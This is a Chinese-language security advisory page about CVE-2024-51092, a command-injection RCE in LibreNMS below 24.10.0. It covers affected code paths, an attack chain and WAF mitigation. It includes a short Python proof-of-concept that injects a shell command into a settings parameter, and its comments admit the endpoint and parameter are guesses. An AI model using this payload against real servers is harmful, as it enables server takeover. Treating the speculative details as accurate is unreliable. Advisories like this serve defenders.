IPBUF安全漏洞报告
English
CVE-2024-51092 CVSS 9.1 严重

CVE-2024-51092 LibreNMS 远程代码执行漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2024-51092
漏洞类型
远程代码执行 (RCE) / 操作系统命令注入
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LibreNMS

相关标签

RCELibreNMSCommand InjectionCVE-2024-51092Critical

漏洞概述

LibreNMS 24.10.0之前的版本存在严重的操作系统命令注入漏洞。该漏洞允许经过身份验证的远程攻击者通过特定的控制器接口,向后端发送恶意构造的输入,最终在服务器上执行任意操作系统命令。由于该漏洞影响范围广且利用难度较低,攻击者可借此完全控制受影响的服务器,导致数据泄露、服务中断或被植入后门。

技术细节

该漏洞源于LibreNMS在处理特定功能请求时,未能正确过滤用户输入,导致命令注入。具体受影响的代码路径包括AboutController.php的index()方法、SettingsController.php的update()方法以及PollDevice.php的initRrdDirectory()方法。攻击者首先需要一个低权限账户(PR:L),随后向这些接口发送包含Shell元字符(如分号、管道符)的恶意参数。后端脚本在处理这些参数时,直接将其拼接到系统命令(如exec或system函数)中执行,从而绕过原有的逻辑限制。由于攻击向量为网络(AV:N)且无需用户交互(UI:N),该漏洞极易被利用,成功利用后可在服务器上下文中执行任意代码。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络识别LibreNMS实例,并确定其版本低于24.10.0。
STEP 2
2. 获取凭证
由于CVSS向量显示PR:L(低权限),攻击者通过暴力破解、钓鱼或利用其他弱凭证漏洞获取一个普通用户账户。
STEP 3
3. 漏洞利用
攻击者使用获取的凭证登录,并向AboutController.php、SettingsController.php或PollDevice.php接口发送特制的HTTP请求,在参数中注入恶意的Shell命令。
STEP 4
4. 命令执行
后端服务器未过滤输入,将恶意参数拼接到系统命令中执行,从而允许攻击者在服务器上运行任意代码(如反弹Shell)。
STEP 5
5. 建立立足点
攻击者利用获得的Shell权限进一步提升权限,安装后门,窃取数据或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # Proof of Concept for CVE-2024-51092 (LibreNMS Authenticated RCE) # This script demonstrates the command injection vulnerability in SettingsController. import requests from requests.auth import HTTPBasicAuth # Configuration target_url = "http://127.0.0.1/librenms" username = "admin" password = "password" command = "id" # The command to execute # The vulnerable endpoint often involves updating settings where parameters are sanitized poorly # Based on the advisory, SettingsController.php's update() is vulnerable. # Payload structure usually involves appending a command separator. payload = f"normal_value; {command}" session = requests.Session() # 1. Login to obtain session (Authentication is required) login_url = f"{target_url}/login" login_data = { "username": username, "password": password } print(f"[*] Logging in to {target_url}...") r = session.post(login_url, data=login_data) if r.status_code == 200: print("[+] Login successful.") # 2. Exploit the vulnerability in SettingsController # Note: The specific parameter name and endpoint path might vary based on the exact controller logic. # This is a representative example of exploiting the update() method. exploit_url = f"{target_url}/settings/update" exploit_data = { "setting[global][community]": payload # Example parameter that might be passed to shell } print(f"[*] Sending payload to {exploit_url}...") exploit_res = session.post(exploit_url, data=exploit_data) # 3. Check output (Output might not be directly reflected, blind techniques needed) if exploit_res.status_code == 200: print("[+] Payload sent. Check if command was executed (e.g., via netcat listener or log analysis).") else: print("[-] Exploit request failed.") else: print("[-] Login failed.")

影响范围

LibreNMS < 24.10.0

防御指南

临时缓解措施
如果无法立即升级,建议在Web应用防火墙(WAF)中部署规则,拦截针对/settings/update和/about等接口的异常请求(如包含分号、管道符等Shell元字符的参数)。同时,应暂时禁用低权限用户的某些配置修改功能,直至修复完成。

参考链接